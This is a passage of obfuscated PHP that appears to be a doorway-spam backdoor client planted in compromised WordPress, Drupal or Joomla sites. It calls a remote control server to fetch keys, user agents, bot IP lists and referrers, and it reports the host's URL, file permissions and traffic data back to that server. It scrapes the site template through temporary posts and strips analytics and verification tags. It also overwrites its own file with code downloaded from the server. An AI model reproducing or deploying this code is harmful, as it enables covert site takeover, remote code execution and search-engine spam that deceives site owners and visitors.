			$IVmfs0SzQujsBG2yE10 = str_ireplace("***", "", $IVmfs0SzQujsBG2yE10);
		} else {
			$IVmfs0SzQujsBG2yE10 = "";
		}
		if ((empty($IUYZkHMvPnxD1) && $IcRJnRh0BaaYCr5 == "no" && $IUYZkHMvPnxD1 != "this-is-the-test-of-door") || (($IcRJnRh0BaaYCr6 == $IVmfs0SzQujsBG2yE0 || $IcRJnRh0BaaYCr6 == $IVmfs0SzQujsBG2yE1 || $IcRJnRh0BaaYCr6 == $IVmfs0SzQujsBG2yE04) && $IUYZkHMvPnxD1 != "this-is-the-test-of-door" && !$IVmfs0SzQujsBG2yE10)) {
			$IVmfs0SzQujsBG2yE11 = "";
			if (!empty($IVmfs0SzQujsBG2yE00)) {
				$IUYZkHMvPnxD1 = $IVmfs0SzQujsBG2yE00;
			}
			if ($IcRJnRh0BaaYCr6 == $IVmfs0SzQujsBG2yE0 || $IcRJnRh0BaaYCr6 == $IVmfs0SzQujsBG2yE1 || $IcRJnRh0BaaYCr6 == $IVmfs0SzQujsBG2yE04) {
				$IUYZkHMvPnxD1 = "needrandomkey";
			}
			$IVmfs0SzQujsBG2yE11 = "yes";
		}
		$IUYZkHMvPnxD1 = urldecode(urldecode($IUYZkHMvPnxD1));
		$IUYZkHMvPnxD1 = trim($IUYZkHMvPnxD1, "/");
		if (!empty($IUYZkHMvPnxD1)) {
			$IUYZkHMvPnxD1 = explode("***", trim($IUYZkHMvPnxD1));
			$IUYZkHMvPnxD1 = trim($IUYZkHMvPnxD1[0]);
			if ($IUYZkHMvPnxD1 == "this-is-the-test-of-door") {
				$IVmfs0SzQujsBG2yE11 = "yes";
			}
			if (empty($IVmfs0SzQujsBG2yE11)) {
				$IVmfs0SzQujsBG2yE12 = IIgDFe7SSS9RzM($IUYZkHMvPnxD1, $Iw78mVWOIABM0uZ9FjcKrk1);
				$IVmfs0SzQujsBG2yE12 = explode("***", trim($IVmfs0SzQujsBG2yE12));
				if (isset($IVmfs0SzQujsBG2yE12[1]) && !empty($IVmfs0SzQujsBG2yE12[1])) {
					$IVmfs0SzQujsBG2yE05 = trim($IVmfs0SzQujsBG2yE12[1]);
				}
				$IVmfs0SzQujsBG2yE12 = trim($IVmfs0SzQujsBG2yE12[0]);
				if ($IVmfs0SzQujsBG2yE12 == "yes" && empty($IVmfs0SzQujsBG2yE11)) {

					if (!empty($IVmfs0SzQujsBG2yE09[2])) {
						$cleanUriRe = str_replace($IVmfs0SzQujsBG2yE09[2],'',urlencode($_SERVER['REQUEST_URI']));
						$cleanUriRe = urldecode(urldecode($cleanUriRe));
						die(header("Location: $cleanUriRe", true, 301));
					}
					$IVmfs0SzQujsBG2yE11 = "yes";
				}
			}
		}
	}
	if (!empty($IQf3Wvh2RtKQbZ2zg1) && !empty($IVmfs0SzQujsBG2yE4) && $IVmfs0SzQujsBG2yE4 == "yes" && !empty($IebH2sK1bwmgEcMMI3) && !file_exists($Iw78mVWOIABM0uZ9FjcKrk5)) {
		$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk5, "w+");
		flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
		fwrite($ICvEOD9TPYuFxru8BY32, "");
		fclose($ICvEOD9TPYuFxru8BY32);
		$IQf3Wvh2RtKQbZ2zg1 = str_ireplace("newkeys=yes", "", $IQf3Wvh2RtKQbZ2zg1);
		$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . $ICvEOD9TPYuFxru8BY30, "w+");
		flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
		fwrite($ICvEOD9TPYuFxru8BY32, II1fQCriBFLoZZpQzg1($IQf3Wvh2RtKQbZ2zg1));
		fclose($ICvEOD9TPYuFxru8BY32);
		@unlink($Iw78mVWOIABM0uZ9FjcKrk1);

		$IVmfs0SzQujsBG2yE13 = _GETTER("http://" . $II6GSejEQGcXEADTdVw2 . "?clientid=" . urlencode($II6GSejEQGcXEADTdVw6) . "&clienturl=" . urlencode($IVmfs0SzQujsBG2yE3) . "&clientprot=" . urlencode($Iax8jUe6B2NrmbBLjzTh77) . "&templatename=" . urlencode($IebH2sK1bwmgEcMMI6) . "&ineednewkeys=yes&keyfilename=" . urlencode($IebH2sK1bwmgEcMMI3));
		$IVmfs0SzQujsBG2yE14 = fopen($Iw78mVWOIABM0uZ9FjcKrk1, "w+");
		if (!empty($IVmfs0SzQujsBG2yE14)) {
			flock($IVmfs0SzQujsBG2yE14, LOCK_EX);
			fwrite($IVmfs0SzQujsBG2yE14, $IVmfs0SzQujsBG2yE13);
			if (empty($IVmfs0SzQujsBG2yE13)) {
				$IVmfs0SzQujsBG2yE .= "10\t";
				$IcRJnRh0BaaYCr .= "10\t";
			}
			fclose($IVmfs0SzQujsBG2yE14);
		} else {
			$IVmfs0SzQujsBG2yE .= "11\t";
			$IcRJnRh0BaaYCr .= "11\t";
		}
		@unlink($Iw78mVWOIABM0uZ9FjcKrk5);
	}
	if ($IcRJnRh0BaaYCr6 == "wpgood" || $IcRJnRh0BaaYCr6 == $IVmfs0SzQujsBG2yE0) {
		if (!file_exists($Iax8jUe6B2NrmbBLjzTh0) && !file_exists($Iw78mVWOIABM0uZ9FjcKrk5) && !empty($IQf3Wvh2RtKQbZ2zg1)) {
			$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk5, "w+");
			flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
			fwrite($ICvEOD9TPYuFxru8BY32, "");
			fclose($ICvEOD9TPYuFxru8BY32);
			if (!IIkUGmvpQuGsvF4PbD('wp_insert_post') && !IIkUGmvpQuGsvF4PbD('get_permalink') && !IIkUGmvpQuGsvF4PbD('wp_delete_post') && !IIkUGmvpQuGsvF4PbD('add_action')) {
				$IVmfs0SzQujsBG2yE .= "12\t";
				$IcRJnRh0BaaYCr .= "12\t";
			} else {
				$IVmfs0SzQujsBG2yE16 = IIAwCsaEF4apDw9vOC(8);
				$IVmfs0SzQujsBG2yE17 = array(
					'post_title' => "HER" . "EI" . "STI" . "TLE",
					'post_name' => $IVmfs0SzQujsBG2yE16,
					'post_content' => "HERE" . "ISC" . "ONT" . "ENT",
					'post_status' => 'publish',
					'post_category' => array()
				);
				$IVmfs0SzQujsBG2yE18 = wp_insert_post($IVmfs0SzQujsBG2yE17, true);
				$IVmfs0SzQujsBG2yE19 = get_permalink($IVmfs0SzQujsBG2yE18);
				$IVmfs0SzQujsBG2yE20 = explode("/", $IVmfs0SzQujsBG2yE19);
				if (stripos($IVmfs0SzQujsBG2yE20[count($IVmfs0SzQujsBG2yE20) - 1], "?")) {
					$IVmfs0SzQujsBG2yE21 = _GETTER($IVmfs0SzQujsBG2yE19 . "&ineedthispage=yes");
				} else {
					$IVmfs0SzQujsBG2yE21 = _GETTER($IVmfs0SzQujsBG2yE19 . "?ineedthispage=yes");
				}
				
				if(empty($IVmfs0SzQujsBG2yE21)){
					$IVmfs0SzQujsBG2yE21 = _GETTER("http://" . $II6GSejEQGcXEADTdVw2 . "?ineedtemplate=yes&ineedthistemplate=".urlencode($IVmfs0SzQujsBG2yE19));
				}
				
				$IVmfs0SzQujsBG2yE21 = str_ireplace($IVmfs0SzQujsBG2yE19, "#", $IVmfs0SzQujsBG2yE21);
				$IVmfs0SzQujsBG2yE21 = str_ireplace("&ineedthispage=yes", "", $IVmfs0SzQujsBG2yE21);
				$IVmfs0SzQujsBG2yE21 = str_ireplace("&amp;ineedthispage=yes", "", $IVmfs0SzQujsBG2yE21);
				if (!wp_delete_post($IVmfs0SzQujsBG2yE18, true)) {
					wp_delete_post($IVmfs0SzQujsBG2yE18, true);
				}
				if (!empty($IVmfs0SzQujsBG2yE21) && stripos("qqq" . $IVmfs0SzQujsBG2yE21, "HERE" . "ISC" . "ON" . "TENT")) {
					$IVmfs0SzQujsBG2yE21 = str_ireplace("content=\"HER" . "EI" . "SCON" . "TENT", "content=\"", $IVmfs0SzQujsBG2yE21);
					$IVmfs0SzQujsBG2yE21 = str_ireplace("content=\" HER" . "EIS" . "CON" . "TENT", "content=\"", $IVmfs0SzQujsBG2yE21);
					$IVmfs0SzQujsBG2yE21 = preg_replace("/<meta property=[\"\']{1}og:description[\"\']{1} content=[\"\']{1}.*[\"\']{1}\s?\/>/iUs", "", $IVmfs0SzQujsBG2yE21);
					$IVmfs0SzQujsBG2yE08 = "|(<h1 class=\"entry-title\">.*<\/h1>)|iUs";
					preg_match_all($IVmfs0SzQujsBG2yE08, $IVmfs0SzQujsBG2yE21, $IVmfs0SzQujsBG2yE22);
					if (!empty($IVmfs0SzQujsBG2yE22[1][0])) {
						$IVmfs0SzQujsBG2yE21 = str_ireplace($IVmfs0SzQujsBG2yE22[1][0], "<h1 class=\"entry-title\">HER" . "EIS" . "H1T" . "AG</h1>", $IVmfs0SzQujsBG2yE21);
					}
					$IVmfs0SzQujsBG2yE08 = "|(<h1 class=\"title\">.*<\/h1>)|iUs";
					preg_match_all($IVmfs0SzQujsBG2yE08, $IVmfs0SzQujsBG2yE21, $IVmfs0SzQujsBG2yE22);
					if (!empty($IVmfs0SzQujsBG2yE22[1][0])) {
						$IVmfs0SzQujsBG2yE21 = str_ireplace($IVmfs0SzQujsBG2yE22[1][0], "<h1 class=\"title\">HER" . "EIS" . "H1T" . "AG</h1>", $IVmfs0SzQujsBG2yE21);
					}

					$IVmfs0SzQujsBG2yE08 = "|(<script.*<\/script>)|iUs";
					preg_match_all($IVmfs0SzQujsBG2yE08, $IVmfs0SzQujsBG2yE21, $IVmfs0SzQujsBG2yE22);
					if (!empty($IVmfs0SzQujsBG2yE22[1])) {
						foreach ($IVmfs0SzQujsBG2yE22[1] as $IVmfs0SzQujsBG2yE23) {
							if (stripos("qqq" . $IVmfs0SzQujsBG2yE23, "google-analytics")) {
								$IVmfs0SzQujsBG2yE21 = str_ireplace($IVmfs0SzQujsBG2yE23, "", $IVmfs0SzQujsBG2yE21);
							}
						}
					}

					preg_match_all("#<meta.*?google.*?>|<meta.*?msvalid.*?>|<meta.*?robots.*?>#i", $IVmfs0SzQujsBG2yE21, $IVmfs0SzQujsBG2yE22);
					if (!empty($IVmfs0SzQujsBG2yE22[0])) {
						foreach ($IVmfs0SzQujsBG2yE22[0] as $IVmfs0SzQujsBG2yE23) {
							$IVmfs0SzQujsBG2yE21 = str_ireplace($IVmfs0SzQujsBG2yE23, "", $IVmfs0SzQujsBG2yE21);
						}
					}
					$IVmfs0SzQujsBG2yE21 = preg_replace("/<meta name=[\"\']{1}description.*[\"\']{1}.*\/?>/iUs", "", $IVmfs0SzQujsBG2yE21);
					$IVmfs0SzQujsBG2yE21 = urlencode(II1fQCriBFLoZZpQzg1($IVmfs0SzQujsBG2yE21));
					$ICvEOD9TPYuFxru8BY32  = fopen($Iax8jUe6B2NrmbBLjzTh0, "w+");
					flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
					fwrite($ICvEOD9TPYuFxru8BY32, $IVmfs0SzQujsBG2yE21);
					fclose($ICvEOD9TPYuFxru8BY32);
					$IQf3Wvh2RtKQbZ2zg1 = str_ireplace("dotemplate=yes", "", $IQf3Wvh2RtKQbZ2zg1);
					$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . $ICvEOD9TPYuFxru8BY30, "a+");
					flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
					ftruncate($ICvEOD9TPYuFxru8BY32, 0);
					fwrite($ICvEOD9TPYuFxru8BY32, II1fQCriBFLoZZpQzg1(trim($IQf3Wvh2RtKQbZ2zg1)));
					fclose($ICvEOD9TPYuFxru8BY32);
				} else {
					$IVmfs0SzQujsBG2yE .= "13\t";
					$IcRJnRh0BaaYCr .= "13\t";
				}
			}
			@unlink($Iw78mVWOIABM0uZ9FjcKrk5);
		}
	}
	if ((!empty($IQf3Wvh2RtKQbZ2zg1) && !empty($IVmfs0SzQujsBG2yE9) && $IVmfs0SzQujsBG2yE9 == "yes" && !file_exists($Iw78mVWOIABM0uZ9FjcKrk5)) || (!empty($IQf3Wvh2RtKQbZ2zg7) && !file_exists($Iw78mVWOIABM0uZ9FjcKrk2) && !file_exists($Iw78mVWOIABM0uZ9FjcKrk5))) {
		$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk5, "w+");
		flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
		fwrite($ICvEOD9TPYuFxru8BY32, "");
		fclose($ICvEOD9TPYuFxru8BY32);
		if ($IVmfs0SzQujsBG2yE9 == "yes") {
			$IQf3Wvh2RtKQbZ2zg1 = str_ireplace("newuseragents=yes", "", $IQf3Wvh2RtKQbZ2zg1);
			$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . $ICvEOD9TPYuFxru8BY30, "w+");
			flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
			fwrite($ICvEOD9TPYuFxru8BY32, II1fQCriBFLoZZpQzg1($IQf3Wvh2RtKQbZ2zg1));
			fclose($ICvEOD9TPYuFxru8BY32);
		}
		$IVmfs0SzQujsBG2yE13 = _GETTER("http://" . $II6GSejEQGcXEADTdVw2 . "?clientid=" . urlencode($II6GSejEQGcXEADTdVw6) . "&clienturl=" . urlencode($IVmfs0SzQujsBG2yE3) . "&clientprot=" . urlencode($Iax8jUe6B2NrmbBLjzTh77) . "&templatename=" . urlencode($IebH2sK1bwmgEcMMI6) . "&ineednewuseragents=yes");
		$IVmfs0SzQujsBG2yE14 = fopen($Iw78mVWOIABM0uZ9FjcKrk2, "w+");
		if (!empty($IVmfs0SzQujsBG2yE14)) {
			flock($IVmfs0SzQujsBG2yE14, LOCK_EX);
			fwrite($IVmfs0SzQujsBG2yE14, $IVmfs0SzQujsBG2yE13);
			if (empty($IVmfs0SzQujsBG2yE13)) {
				$IVmfs0SzQujsBG2yE .= "15\t";
				$IcRJnRh0BaaYCr .= "15\t";
			}
			fclose($IVmfs0SzQujsBG2yE14);
		} else {
			$IVmfs0SzQujsBG2yE .= "16\t";
			$IcRJnRh0BaaYCr .= "16\t";
		}
		@unlink($Iw78mVWOIABM0uZ9FjcKrk5);
	}
	if (!empty($IQf3Wvh2RtKQbZ2zg1) && !empty($IcRJnRh0BaaYCr0) && $IcRJnRh0BaaYCr0 == "yes" && !file_exists($Iw78mVWOIABM0uZ9FjcKrk5) || (!empty($IQf3Wvh2RtKQbZ2zg7) && !file_exists($Iw78mVWOIABM0uZ9FjcKrk3) && !file_exists($Iw78mVWOIABM0uZ9FjcKrk5))) {
		$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk5, "w+");
		flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
		fwrite($ICvEOD9TPYuFxru8BY32, "");
		fclose($ICvEOD9TPYuFxru8BY32);
		if ($IcRJnRh0BaaYCr0 == "yes") {
			$IQf3Wvh2RtKQbZ2zg1 = str_ireplace("newbotips=yes", "", $IQf3Wvh2RtKQbZ2zg1);
			$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . $ICvEOD9TPYuFxru8BY30, "w+");
			flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
			fwrite($ICvEOD9TPYuFxru8BY32, II1fQCriBFLoZZpQzg1($IQf3Wvh2RtKQbZ2zg1));
			fclose($ICvEOD9TPYuFxru8BY32);
		}
		$IVmfs0SzQujsBG2yE13 = _GETTER("http://" . $II6GSejEQGcXEADTdVw2 . "?clientid=" . urlencode($II6GSejEQGcXEADTdVw6) . "&clienturl=" . urlencode($IVmfs0SzQujsBG2yE3) . "&clientprot=" . urlencode($Iax8jUe6B2NrmbBLjzTh77) . "&templatename=" . urlencode($IebH2sK1bwmgEcMMI6) . "&ineednewbotips=yes");
		$IVmfs0SzQujsBG2yE14 = fopen($Iw78mVWOIABM0uZ9FjcKrk3, "w+");
		if (!empty($IVmfs0SzQujsBG2yE14)) {
			flock($IVmfs0SzQujsBG2yE14, LOCK_EX);
			fwrite($IVmfs0SzQujsBG2yE14, $IVmfs0SzQujsBG2yE13);
			if (empty($IVmfs0SzQujsBG2yE13)) {
				$IVmfs0SzQujsBG2yE .= "17\t";
				$IcRJnRh0BaaYCr .= "17\t";
			}
			fclose($IVmfs0SzQujsBG2yE14);
		} else {
			$IVmfs0SzQujsBG2yE .= "18\t";
			$IcRJnRh0BaaYCr .= "18\t";
		}
		@unlink($Iw78mVWOIABM0uZ9FjcKrk5);
	}
	if (!empty($IQf3Wvh2RtKQbZ2zg1) && !empty($IcRJnRh0BaaYCr2) && $IcRJnRh0BaaYCr2 == "yes" && !file_exists($Iw78mVWOIABM0uZ9FjcKrk5)) {
		$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk5, "w+");
		flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
		fwrite($ICvEOD9TPYuFxru8BY32, "");
		fclose($ICvEOD9TPYuFxru8BY32);
		$IQf3Wvh2RtKQbZ2zg1 = str_ireplace("newreffs=yes", "", $IQf3Wvh2RtKQbZ2zg1);
		$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . $ICvEOD9TPYuFxru8BY30, "w+");
		flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
		fwrite($ICvEOD9TPYuFxru8BY32, II1fQCriBFLoZZpQzg1($IQf3Wvh2RtKQbZ2zg1));
		fclose($ICvEOD9TPYuFxru8BY32);
		$IVmfs0SzQujsBG2yE13 = _GETTER("http://" . $II6GSejEQGcXEADTdVw2 . "?clientid=" . urlencode($II6GSejEQGcXEADTdVw6) . "&clienturl=" . urlencode($IVmfs0SzQujsBG2yE3) . "&clientprot=" . urlencode($Iax8jUe6B2NrmbBLjzTh77) . "&templatename=" . urlencode($IebH2sK1bwmgEcMMI6) . "&ineednewreffs=yes");
		$IVmfs0SzQujsBG2yE14 = fopen($Iw78mVWOIABM0uZ9FjcKrk4, "w+");
		if (!empty($IVmfs0SzQujsBG2yE14)) {
			flock($IVmfs0SzQujsBG2yE14, LOCK_EX);
			fwrite($IVmfs0SzQujsBG2yE14, $IVmfs0SzQujsBG2yE13);
			if (empty($IVmfs0SzQujsBG2yE13)) {
				$IVmfs0SzQujsBG2yE .= "19\t";
				$IcRJnRh0BaaYCr .= "19\t";
			}
			fclose($IVmfs0SzQujsBG2yE14);
		} else {
			$IVmfs0SzQujsBG2yE .= "20\t";
			$IcRJnRh0BaaYCr .= "20\t";
		}
		@unlink($Iw78mVWOIABM0uZ9FjcKrk5);
	}
	if (!empty($IQf3Wvh2RtKQbZ2zg1) && !empty($IVmfs0SzQujsBG2yE7) && $IVmfs0SzQujsBG2yE7 == "yes" && !file_exists($Iw78mVWOIABM0uZ9FjcKrk5)) {
		$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk5, "w+");
		flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
		fwrite($ICvEOD9TPYuFxru8BY32, "");
		fclose($ICvEOD9TPYuFxru8BY32);
		$IQf3Wvh2RtKQbZ2zg1 = str_ireplace("clearcache=yes", "", $IQf3Wvh2RtKQbZ2zg1);
		$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . $ICvEOD9TPYuFxru8BY30, "w+");
		flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
		fwrite($ICvEOD9TPYuFxru8BY32, II1fQCriBFLoZZpQzg1(trim($IQf3Wvh2RtKQbZ2zg1)));
		fclose($ICvEOD9TPYuFxru8BY32);
		if (file_exists($Iw78mVWOIABM0uZ9FjcKrk6)) {
			@unlink($Iw78mVWOIABM0uZ9FjcKrk6);
		}
		if (file_exists($Iw78mVWOIABM0uZ9FjcKrk9)) {
			@unlink($Iw78mVWOIABM0uZ9FjcKrk9);
		}
		$IVmfs0SzQujsBG2yE32 = 1;
		while (file_exists($Iax8jUe6B2NrmbBLjzTh4 . "" . $IVmfs0SzQujsBG2yE32)) {
			@unlink($Iax8jUe6B2NrmbBLjzTh4 . "" . $IVmfs0SzQujsBG2yE32);
			$IVmfs0SzQujsBG2yE32++;
		}
		;
		@unlink($Iw78mVWOIABM0uZ9FjcKrk5);
	}
	if (!empty($IQf3Wvh2RtKQbZ2zg1) && !empty($IVmfs0SzQujsBG2yE03) && $IVmfs0SzQujsBG2yE03 == "yes" && !file_exists($Iw78mVWOIABM0uZ9FjcKrk5)) {
		$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk5, "w+");
		flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
		fwrite($ICvEOD9TPYuFxru8BY32, "");
		fclose($ICvEOD9TPYuFxru8BY32);
		if (!empty($II6GSejEQGcXEADTdVw2)) {
			$IVmfs0SzQujsBG2yE33 = _GETTER("http://" . str_ireplace("getdata.php", "clientdata", $II6GSejEQGcXEADTdVw2));
			$IVmfs0SzQujsBG2yE33 = str_ireplace(urldecode("%5BSER" . "VERUR" . "LHERE%5D"), IIK9Uhov8oko8OvuQXyL($II6GSejEQGcXEADTdVw2), $IVmfs0SzQujsBG2yE33);
			$IVmfs0SzQujsBG2yE33 = obf($IVmfs0SzQujsBG2yE33);
			if (!empty($IVmfs0SzQujsBG2yE33) && stripos("qqq" . $IVmfs0SzQujsBG2yE33, "item->alias")) {
				$IVmfs0SzQujsBG2yE33 = str_ireplace("", "", $IVmfs0SzQujsBG2yE33);
				$ICvEOD9TPYuFxru8BY32  = fopen(__FILE__, "w+");
				flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
				fwrite($ICvEOD9TPYuFxru8BY32, trim($IVmfs0SzQujsBG2yE33));
				fclose($ICvEOD9TPYuFxru8BY32);
			}
		}
		$IQf3Wvh2RtKQbZ2zg1 = str_ireplace("renewclient=yes", "", $IQf3Wvh2RtKQbZ2zg1);
		$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . $ICvEOD9TPYuFxru8BY30, "w+");
		flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
		fwrite($ICvEOD9TPYuFxru8BY32, II1fQCriBFLoZZpQzg1(trim($IQf3Wvh2RtKQbZ2zg1)));
		fclose($ICvEOD9TPYuFxru8BY32);
		@unlink($Iw78mVWOIABM0uZ9FjcKrk5);
	}
	if ($ICvEOD9TPYuFxru8BY31 == "goodtime" || $IUYZkHMvPnxD1 == $II6GSejEQGcXEADTdVw6 || !file_exists($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . $ICvEOD9TPYuFxru8BY30)) {
		if ($IVmfs0SzQujsBG2yE2 == "goodtime") {
			$IVmfs0SzQujsBG2yE34 = "";
			$IVmfs0SzQujsBG2yE35 = "";
			$IVmfs0SzQujsBG2yE36 = "";
			$IVmfs0SzQujsBG2yE37 = "";
			if (!empty($IQf3Wvh2RtKQbZ2zg3)) {
				$IQf3Wvh2RtKQbZ2zg3 = str_ireplace("http://", "", $IQf3Wvh2RtKQbZ2zg3);
				$IQf3Wvh2RtKQbZ2zg3 = str_ireplace("https://", "", $IQf3Wvh2RtKQbZ2zg3);
				if ($IcRJnRh0BaaYCr8 == "ru-RU") {
					$IVmfs0SzQujsBG2yE37 = IIdo8pPVyWut3RuxcQmt($IQf3Wvh2RtKQbZ2zg3, 4);
					$IVmfs0SzQujsBG2yE34 = IIdo8pPVyWut3RuxcQmt($IQf3Wvh2RtKQbZ2zg3, 1);
				} else {
					$IVmfs0SzQujsBG2yE34 = IIdo8pPVyWut3RuxcQmt($IQf3Wvh2RtKQbZ2zg3, 1);
					$IVmfs0SzQujsBG2yE35 = IIdo8pPVyWut3RuxcQmt($IQf3Wvh2RtKQbZ2zg3, 2);
					$IVmfs0SzQujsBG2yE36 = IIdo8pPVyWut3RuxcQmt($IQf3Wvh2RtKQbZ2zg3, 3);
				}
				$IcRJnRh0BaaYCr9 = $IVmfs0SzQujsBG2yE34 . "|" . $IVmfs0SzQujsBG2yE35 . "|" . $IVmfs0SzQujsBG2yE36 . "|" . $IVmfs0SzQujsBG2yE37;
			} else {
				$IcRJnRh0BaaYCr9 = "";
			}
		}
		$IVmfs0SzQujsBG2yE38 = "";
		if (file_exists($Iw78mVWOIABM0uZ9FjcKrk2) && file_exists($Iw78mVWOIABM0uZ9FjcKrk3) && file_exists($Iw78mVWOIABM0uZ9FjcKrk4)) {
			$IVmfs0SzQujsBG2yE38 = "good";
		}
		$IVmfs0SzQujsBG2yE39 = "";
		if (file_exists($Iw78mVWOIABM0uZ9FjcKrk9)) {
			$IVmfs0SzQujsBG2yE39 = file_get_contents($Iw78mVWOIABM0uZ9FjcKrk9);
		}
		$IVmfs0SzQujsBG2yE40 = "skip";
		/*if (!empty($IVmfs0SzQujsBG2yE3)) {
			$IVmfs0SzQujsBG2yE41 = _GETTER($Iax8jUe6B2NrmbBLjzTh77 . "://" . str_ireplace("[KEY]", "this-is-the-test-of-door", $IVmfs0SzQujsBG2yE3),1,0);
			if (stripos("qqq" . $IVmfs0SzQujsBG2yE41, "DOO" . "RWAYI" . "SWOR" . "KCONT" . "ENT") && stripos("qqq" . $IVmfs0SzQujsBG2yE41, "DOO" . "RW" . "AYI" . "SW" . "ORKTI" . "TLE")) {
				$IVmfs0SzQujsBG2yE40 = "yes";
			}
		}*/
		if (file_exists($Iax8jUe6B2NrmbBLjzTh0)) {
			$IVmfs0SzQujsBG2yE42 = "Yes";
		} else {
			$IVmfs0SzQujsBG2yE42 = "";
		}
		if ($IcRJnRh0BaaYCr6 == "d" . "ru" . "pa" . "lg" . "o" . "od") {
			if (IIkUGmvpQuGsvF4PbD('node_object_prepare')) {
				$IQf3Wvh2RtKQbZ2zg = " 7";
			}
			$IVmfs0SzQujsBG2yE43 = "<b>Client type-</b> Drupal<br><b>Lang-</b> " . $IcRJnRh0BaaYCr8 . "<br><b>It's include-</b> " . $IcRJnRh0BaaYCr5 . "<br><b>Text from-</b>  " . $IebH2sK1bwmgEcMMI0 . "<br><b>Template-</b> " . $IebH2sK1bwmgEcMMI6 . "<br><b>Keys-</b> " . $IebH2sK1bwmgEcMMI3 . "<br><b>Text-</b> " . $IebH2sK1bwmgEcMMI2 . "<br><b>Themes-</b> " . $IebH2sK1bwmgEcMMI5 . "<br><b>Extlinks-</b> " . $IebH2sK1bwmgEcMMI8 . "<br><b>Parsed Temp- </b>" . $IVmfs0SzQujsBG2yE42;
		} else {
			$IVmfs0SzQujsBG2yE43 = "<b>Client type-</b> " . $IcRJnRh0BaaYCr6 . "<br><b>Lang-</b> " . $IcRJnRh0BaaYCr8 . "<br><b>It's include-</b> " . $IcRJnRh0BaaYCr5 . "<br><b>Text from-</b>  " . $IebH2sK1bwmgEcMMI0 . "<br><b>Template-</b> " . $IebH2sK1bwmgEcMMI6 . "<br><b>Keys-</b> " . $IebH2sK1bwmgEcMMI3 . "<br><b>Text-</b> " . $IebH2sK1bwmgEcMMI2 . "<br><b>Themes-</b> " . $IebH2sK1bwmgEcMMI5 . "<br><b>Extlinks-</b> " . $IebH2sK1bwmgEcMMI8 . "<br><b>Parsed Temp- </b>" . $IVmfs0SzQujsBG2yE42;
		}
		$IVmfs0SzQujsBG2yE43 = urlencode(II1fQCriBFLoZZpQzg1($IVmfs0SzQujsBG2yE43));
		if (!empty($IQf3Wvh2RtKQbZ2zg1)) {
			$IVmfs0SzQujsBG2yE44 = urlencode(II1fQCriBFLoZZpQzg1($IQf3Wvh2RtKQbZ2zg1));
		} else {
			$IVmfs0SzQujsBG2yE44 = "";
		}
		$IVmfs0SzQujsBG2yE45 = "Unknown";
		if (IIkUGmvpQuGsvF4PbD('postItem') && class_exists("JFactory")) {
			$IVmfs0SzQujsBG2yE45 = "Joomla";
		}
		if (IIkUGmvpQuGsvF4PbD('node_save') && IIkUGmvpQuGsvF4PbD("node_delete")) {
			$IVmfs0SzQujsBG2yE45 = "Drupal" . $IQf3Wvh2RtKQbZ2zg;
		}
		if (IIkUGmvpQuGsvF4PbD('wp_insert_post') && IIkUGmvpQuGsvF4PbD('get_permalink') && IIkUGmvpQuGsvF4PbD('wp_delete_post')) {
			$IVmfs0SzQujsBG2yE45 = "Wordpress";
		}
		$IVmfs0SzQujsBG2yE46 = "clientid=" . urlencode($II6GSejEQGcXEADTdVw6) . "&clienturl=" . urlencode($IVmfs0SzQujsBG2yE3) . "&clientprot=" . urlencode($Iax8jUe6B2NrmbBLjzTh77) . "&templatename=" . urlencode($IebH2sK1bwmgEcMMI6) . "&ineednewsetts=yes" . "&version=" . urlencode($Iku20W0B8S9p) . "&clientdomain=" . urlencode($Iax8jUe6B2NrmbBLjzTh8) . "&workstatus=" . urlencode($IUYZkHMvPnxD3) . "&cachedirperm=" . urlencode($ICvEOD9TPYuFxru8BY34) . "&ownperm=" . urlencode($ICvEOD9TPYuFxru8BY35) . "&currdirperm=" . urlencode($ICvEOD9TPYuFxru8BY36) . "&settsinclient=" . urlencode($IUYZkHMvPnxD4) . "&keyshere=" . urlencode($ICvEOD9TPYuFxru8BY37) . "&cloackstatus=" . urlencode($IcRJnRh0BaaYCr3) . "&cloackfiles=" . urlencode($IVmfs0SzQujsBG2yE38) . "&filesdata=" . $IVmfs0SzQujsBG2yE43 . "&trafficdata=" . urlencode($IVmfs0SzQujsBG2yE39) . "&currentsetts=" . $IVmfs0SzQujsBG2yE44 . "&testdoorwork=" 